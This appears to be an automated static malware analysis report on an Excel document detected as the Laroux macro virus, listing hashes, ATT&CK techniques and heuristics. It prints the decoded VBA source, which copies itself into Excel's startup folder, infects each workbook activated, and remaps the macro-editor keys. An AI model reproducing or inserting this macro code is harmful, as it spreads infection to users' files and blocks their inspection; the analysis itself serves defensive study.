Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d59f5dcba286c96a…

MALICIOUS

Office (OLE)

31.5 KB Created: 2007-03-19 01:52:07 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 9d2264bdf9cff780f018230ce16d9920 SHA-1: 0f955d454c90b4053ed14eeed68627d4514a2371 SHA-256: d59f5dcba286c96ae80d721d2fc8ee70c7c1bffc44dfb57f171db290d0256ed2
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel document containing VBA macros. The `auto_open` macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' and registers two functions, `ycop` and `escape`, to be called on sheet activation and specific key presses respectively. This indicates an attempt to establish persistence and potentially evade user interaction.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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